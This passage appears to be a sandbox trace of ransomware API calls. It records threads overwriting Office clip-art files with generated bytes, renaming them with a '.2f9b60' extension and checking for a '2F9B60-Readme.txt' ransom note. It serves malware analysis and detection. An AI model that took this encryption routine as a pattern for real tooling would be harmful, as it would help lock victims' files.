_Dest=0x1cd9f9dc, _Format="%c%c" | out: _Dest="98") returned 2 [0136.840] sprintf (in: _Dest=0x1cd9f9de, _Format="%c%c" | out: _Dest="1b") returned 2 [0136.840] RtlInitAnsiString (in: DestinationString=0x27e9f7a8, SourceString="6eb18b61e228c4f4ed232226e244baca2340eb940545981b" | out: DestinationString="6eb18b61e228c4f4ed232226e244baca2340eb940545981b") [0136.841] RtlAnsiStringToUnicodeString (in: DestinationString=0x27e9f778, SourceString="6eb18b61e228c4f4ed232226e244baca2340eb940545981b", AllocateDestinationString=1 | out: DestinationString="6eb18b61e228c4f4ed232226e244baca2340eb940545981b") returned 0x0 [0136.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d00 [0136.841] RtlFreeAnsiString (AnsiString="6") [0136.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506950 [0136.843] wcscat (in: _Dest=0x20506950, _Source="6eb18b61e228" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228" [0136.844] wcscat (in: _Dest=0x20506950, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228.2f9b60" [0136.844] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228.2f9b60", NtPathName=0x27e9f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6eb18b61e228.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cd40 [0136.844] NtSetInformationFile (FileHandle=0x1db4, IoStatusBlock=0x27e9f7f0, FileInformation=0x2050cd40, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cd40) returned 1 [0146.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205003b0) returned 1 [0146.840] NtQueryInformationFile (in: FileHandle=0x1db4, IoStatusBlock=0x27e9f7b8, FileInformation=0x27e9f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27e9f7b8, FileInformation=0x27e9f7c8) returned 0x0 [0146.840] NtSetInformationFile (FileHandle=0x1db4, IoStatusBlock=0x27e9f7b8, FileInformation=0x27e9f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506950) returned 1 [0147.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0147.107] FlushFileBuffers (hFile=0x1db4) returned 1 [0147.109] CloseHandle (hObject=0x1db4) returned 1 [0147.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b1f0 [0147.113] wcscpy (in: _Dest=0x1b86b1f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.113] wcscat (in: _Dest=0x1b86b1f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b1f0) returned 1 [0147.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bf70) returned 1 Thread: id = 1771 os_tid = 0x17a8 [0132.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf")) returned 0x20 [0133.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF", dwFileAttributes=0x20) returned 1 [0134.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e18 [0137.301] GetFileSizeEx (in: hFile=0x1e18, lpFileSize=0x2816f980 | out: lpFileSize=0x2816f980*=38202) returned 1 [0137.301] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x9536, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.301] ReadFile (in: hFile=0x1e18, lpBuffer=0x2816f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2816f948, lpOverlapped=0x0 | out: lpBuffer=0x2816f900*, lpNumberOfBytesRead=0x2816f948*=0x4, lpOverlapped=0x0) returned 1 [0137.333] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0137.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.333] NtQuerySystemTime (in: CurrentTime=0x2816f840 | out: CurrentTime=0x2816f840*=132462177425758000) returned 0x0 [0137.333] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x3c3d480f [0137.333] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x550c4e82 [0137.333] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x60c87d02 [0137.333] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x4e32f29b [0137.333] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x57098ea3 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x6b0a87c9 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x486a58a7 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x5d5bac55 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x458db035 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x24c3491a [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x32c2102e [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x2d597a63 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x2b558c4e [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x945b84f [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x342aef4c [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x6427acf [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x4fb564c7 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x31893522 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x71867150 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x710c1f30 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x5894ff9c [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x59e70b52 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x51ae3b7d [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x64b84dc6 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x2800e078 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x6a3093aa [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x7abb4c14 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x3647018b [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x6cfe8caf [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x413a3d57 [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x2a695ccf [0137.334] RtlRandomEx (in: Seed=0x2816f830 | out: Seed=0x2816f830) returned 0x58a6f759 [0137.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0137.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.345] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.345] ReadFile (in: hFile=0x1e18, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2816f8a0, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x2816f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0137.368] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20364520 [0137.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.369] WriteFile (in: hFile=0x1e18, lpBuffer=0x20364520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2816f8a0, lpOverlapped=0x0 | out: lpBuffer=0x20364520*, lpNumberOfBytesWritten=0x2816f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0137.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20364520) returned 1 [0137.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a260 [0137.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0137.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0137.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a4a0 [0137.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0137.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0137.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0137.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0137.431] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.431] WriteFile (in: hFile=0x1e18, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2816f950, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2816f950*=0x10a, lpOverlapped=0x0) returned 1 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0137.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0137.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0137.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0137.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.450] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="2c") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="c6") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="d2") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="9f") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="81") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="5c") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="7d") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="df") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="ec") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="b7") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="1e") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="db") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="81") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="77") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="19") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="89") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="7d") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="d7") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="26") returned 2 [0137.450] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="c6") returned 2 [0137.451] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="a2") returned 2 [0137.451] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="71") returned 2 [0137.451] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="b8") returned 2 [0137.451] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="5f") returned 2 [0137.451] RtlInitAnsiString (in: DestinationString=0x2816f9c8, SourceString="2cc6d29f815c7ddfecb71edb817719897dd726c6a271b85f" | out: DestinationString="2cc6d29f815c7ddfecb71edb817719897dd726c6a271b85f") [0137.451] RtlAnsiStringToUnicodeString (in: DestinationString=0x2816f998, SourceString="2cc6d29f815c7ddfecb71edb817719897dd726c6a271b85f", AllocateDestinationString=1 | out: DestinationString="2cc6d29f815c7ddfecb71edb817719897dd726c6a271b85f") returned 0x0 [0137.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8e50 [0137.451] RtlFreeAnsiString (AnsiString="2") [0137.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0137.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506b30 [0137.470] wcscat (in: _Dest=0x20506b30, _Source="2cc6d29f815c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c" [0137.470] wcscat (in: _Dest=0x20506b30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c.2f9b60" [0137.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c.2f9b60", NtPathName=0x2816f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2cc6d29f815c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050be20 [0137.471] NtSetInformationFile (FileHandle=0x1e18, IoStatusBlock=0x2816fa10, FileInformation=0x2050be20, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0146.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291690) returned 1 [0146.838] NtQueryInformationFile (in: FileHandle=0x1e18, IoStatusBlock=0x2816f9d8, FileInformation=0x2816f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2816f9d8, FileInformation=0x2816f9e8) returned 0x0 [0146.838] NtSetInformationFile (FileHandle=0x1e18, IoStatusBlock=0x2816f9d8, FileInformation=0x2816f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506b30) returned 1 [0146.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0146.967] FlushFileBuffers (hFile=0x1e18) returned 1 [0147.142] CloseHandle (hObject=0x1e18) returned 1 [0147.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b550 [0147.149] wcscpy (in: _Dest=0x1b86b550, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.149] wcscat (in: _Dest=0x1b86b550, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b550) returned 1 [0147.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bee0) returned 1 Thread: id = 1772 os_tid = 0xb40 [0132.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf")) returned 0x20 [0133.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF", dwFileAttributes=0x20) returned 1 [0134.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e0c [0137.132] GetFileSizeEx (in: hFile=0x1e0c, lpFileSize=0x282ef700 | out: lpFileSize=0x282ef700*=8000) returned 1 [0137.132] SetFilePointerEx (in: hFile=0x1e0c, liDistanceToMove=0x1f3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.132] ReadFile (in: hFile=0x1e0c, lpBuffer=0x282ef680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x282ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x282ef680*, lpNumberOfBytesRead=0x282ef6c8*=0x4, lpOverlapped=0x0) returned 1 [0137.159] SetFilePointerEx (in: hFile=0x1e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0137.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0137.159] NtQuerySystemTime (in: CurrentTime=0x282ef5c0 | out: CurrentTime=0x282ef5c0*=132462177424042000) returned 0x0 [0137.159] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x7881f554 [0137.159] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x651ed64e [0137.159] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x5efae66e [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x7616a7ec [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x3dccfb57 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x136ebd2a [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x683ca936 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x48eda0cd [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x785faea2 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x59190a34 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x6af0d3 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x14a9db23 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x78fc3f97 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x657ae830 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x2f91b706 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x6581fb36 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x70ba817c [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x2bbc19e9 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x3e00eee8 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x5cdc55e9 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0xe26cc67 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: 